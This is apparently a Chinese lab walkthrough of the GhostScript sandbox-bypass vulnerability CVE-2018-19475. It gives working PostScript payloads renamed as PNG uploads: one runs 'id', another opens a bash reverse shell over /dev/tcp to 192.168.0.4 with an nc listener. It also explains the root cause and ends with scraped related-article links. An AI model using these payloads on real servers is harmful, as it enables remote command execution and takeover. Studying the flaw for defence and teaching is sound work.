文章目录

  • 基础知识
  • 一、漏洞知识
    • 1.漏洞描述
    • 2.漏洞危害
    • 3.漏洞影响版本
  • 二、漏洞利用
    • 1.访问靶机
  • 三、反弹shell
    • 1.为什么要反弹shell
    • 2.上传shell获取权限
  • 总结

基础知识

GhostScript
GhostScript最初是以商业软件形式在PC市场上发售,当时名为“GoScript”。但由于速度太慢(半小时一版A4),销量极差。后来有心人买下了版权,并改在Linux上开发,成为了今日的Ghostscript。ghostscript如今已经从Linux版本移植到其他操作系统,如Unix、Mac
OS X、VMS、Windows、OS/2和Mac OS classic。

GhostScript可用作电脑印表机使用的栅格化影像处理器(RIP)。一般从用户常见文件如图片或者word到打印机经过这么几套工序,以word为例:
Doc文件 -> 中间文件(如pdf,以前是postscript)->打印机语言(如:PCL)->打印机
GhostScript可以将中间文件转化为适应各种打印机的打印机语言(或者叫光栅文件)。然后将该文件发送给打印机,打印机将光栅文件打印到纸张上,就是一次完整的打印过程。


提示:以下是本篇文章正文内容,下面案例可供参考

一、漏洞知识

1.漏洞描述

2018年底来自Semmle Security Research团队的Man Yue Mo发表了CVE-2018-16509漏洞的变体CVE-2018-19475,可以通过一个恶意图片绕过GhostScript的沙盒,进而在9.26以前版本的gs中执行任意命令。

2.漏洞危害

【CVE-2018-19475】GhostScript 沙箱绕过命令执行漏洞评分7.8分,危害评级为高危。

通过利用该漏洞,攻击者可以绕过沙箱达到命令执行,控制服务器权限。

3.漏洞影响版本

ghostscript 9.26以前版本

二、漏洞利用

1.访问靶机

对目标靶机进行访问,发现上传点,新建文本文档,输入代码如下:

%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%id > /tmp/success && cat /tmp/success) (w) file

将文件重命名为1.png
将文件通过上传点进行上传,执行结果:
新建success文件,将id这个命令写入到success文件中

三、反弹shell

1.为什么要反弹shell

当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的。反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形导致连接失败。

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

  1. 对方主机在局域网内,从外网无法直接访问。
  2. 对方主机上存在WAF,对主动连接发来的请求数据检测严格,而对向外发出的请求不进行检测或检测较少。
  3. 对方的ip会动态改变,你不能持续控制。
  4. 对方由于防火墙等限制,对方机器只能发送请求,不能接收请求。
  5. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
    那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

开启终端,写入监听命令:

nc -lvp 1234

2.上传shell获取权限

新建文档,输入命令如下:

%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%bash -c "bash -i >& /dev/tcp/192.168.0.4/1234 0>&1") (w) file

将文档改为2.png

bash -i代表在本地打开一个bash,/dev/tcp/是Linux中的一个特殊文件,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,以此建立交互式shell.

bash -c "cmd string"用于执行双引号中的cmd string
上传该文件后成功收到反弹shell


总结

当dorestore退出时,LockFilePermissions的值被设置为false

具体代码:

http://git.ghostscript.com/?
p=ghostpdl.git;a=blob;f=psi/zvmem.c;h=87a0a4ff1d68904995fd8e86ffb0e030c993f3f9;
hb=81f3d1e7247b9a8e29a388677b01959e612a28c7#l198

随后使用.setuserparams方法还原LockFilePermissions

具体代码:

http://git.ghostscript.com/?
p=ghostpdl.git;a=blob;f=Resource/Init/gs_lev2.ps;
h=44fe619566596ff88d3b69e5fb3d4715ef2e6e23;
hb=81f3d1e7247b9a8e29a388677b01959e612a28c7#l178

但是,在restore之后,.setuserparams方法执行之前,可能会抛出StackOverflowError栈溢出错误,不会重置“LockFilePermissions”。从而导致绕过-dSAFER选项,该选项允许在还原LockFilePermissions失败后执行shell命令。

参考链接:https://bugs.ghostscript.com/show_bug.cgi?id=700153

GhostScript 沙箱绕过命令执行漏洞相关推荐

  1. CVE-2022-1388 F5 BIG-IP权限绕过命令执行漏洞复现

    目录 0x01 声明: 0x02 简介: 0x03 漏洞概述: 0x04 影响版本: 0x05 环境搭建: 下载环境:(要注册账号) 登录页面: 0x06 漏洞复现: EXP地址: 修改EXP: 利用 ...

  2. CVE-2022-0543:redis lua沙盒绕过命令执行漏洞复现

    #Redis简介 Redis 全称 Remote Dictionary Server(即远程字典服务),它是一个基于内存(当然也可以把其存储至硬盘上,这也是写shell的必要条件之一)实现的键值型非关 ...

  3. 绕过WAF运行命令执行漏洞的方法大全

    文章目录 **前言** **一.windows下** 二.进入linux 三.一个有趣的例子 总结 前言 作者:掌控安全-桐镜 今天发散一下思维,聊聊关于命令执行漏洞绕过过滤的方法,让我们一起由浅入深 ...

  4. 简谈命令执行漏洞绕过过滤

    原文: https://mp.weixin.qq.com/s?__biz=MzUyODkwNDIyMg==&mid=2247503891&idx=1&sn=791096c5cb ...

  5. 又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析

    本文讲的是又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析, 早在2015年,FireEye曾发布过两次关于Office的Encapsulated PostScript (EPS)图形文 ...

  6. python直接执行代码漏洞_修复Python任意命令执行漏洞

    Author:JoyChou@美丽联合安全 Date:20180605 1. 前言 今天遇到一个不好做白名单的Python命令执行漏洞修复的问题.由于是shell=True导致的任意命令执行,一开始大 ...

  7. couchdb 任意命令执行漏洞(cve-2017-12636)

    Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和 ...

  8. 远程执行漏洞修复方案_请马上修复!SaltStack远程命令执行漏洞

    [漏洞预警]SaltStack远程命令执行漏洞(CVE-2020-11651.CVE-2020-11652) 2020年5月3日,阿里云应急响应中心监测到近日国外某安全团队披露了SaltStack存在 ...

  9. ctfshow-萌新-web10( 利用命令执行漏洞获取网站敏感信息)

    ctf.show 萌新模块 web10关,这一关考察的是命令执行漏洞的利用,闯关者需要知道3个以上PHP命令执行函数的使用,推荐使用 passthru() 页面中展示了部分源码,并提示我们 flag ...

  10. DVWA系列之10 命令执行漏洞的挖掘与防御

    通用的命令执行漏洞防御方法通常是使用两个函数:EscapeShellCmd和EscapeShellArg,下面分别来分析这两个函数. EscapeShellCmd()函数可以把一个字符串中所有可能瞒过 ...

最新文章

  1. 《数据科学:R语言实现》——3.12 估计缺失数据
  2. DataList 外部事件获取DataList内部值
  3. JavaScript与DOM编程
  4. jstl 处理Date 时间
  5. mysql中如何删除表中int约束,MySQL中的约束,添加约束,删除约束,以及其他修饰
  6. 【牛客 - 185A】无序组数 (思维,数学,因子个数)
  7. 1600k 打印头测试软件,更换LQ-1600K打印头断针的技巧
  8. sublime text常用快捷键整理
  9. 刷机工具-fastboot
  10. 发票分类代码地区代码列表
  11. 零基础Java学习路线
  12. 油气井钻井风险预测与控制系统——需求分析
  13. 挑战华为社招:智慧树java程序设计答案
  14. tsp问题——遗传算法解决
  15. Mybatis-Plus实现乐观锁配置
  16. 关于软件测试你必须知道的名词
  17. Java主要应用于哪些方面 Java就业方向有哪些
  18. 340. 至多包含K个不同字符的最长子串
  19. canvas 将折线转换成曲线
  20. loadrunner入门篇 - Vuser发生器

热门文章

  1. 企业内部应用对接钉钉 -- 钉钉回调
  2. 互联网晚报 | 10月27日 星期三 | 高德车道级导航正式发布;阿里淘菜菜发布“本地菜”计划;特斯拉市值破万亿美元...
  3. 计算机视觉-OpenCV(银行卡号识别)
  4. librdkafka安装步骤
  5. c语言中如何输出字节数组,C语言中数组所占字节怎么算
  6. 人工智能之产生式系统(c++实现)
  7. 无线蓝牙耳机选购小知识,2020新款上市五大高人气蓝牙耳机推荐
  8. 朴素贝叶斯,拉普拉斯平滑
  9. matlab绘直方图,[转载]matlab中函数bar绘制直方图
  10. 2021年苹果手机绕ID解锁教程-附使用工具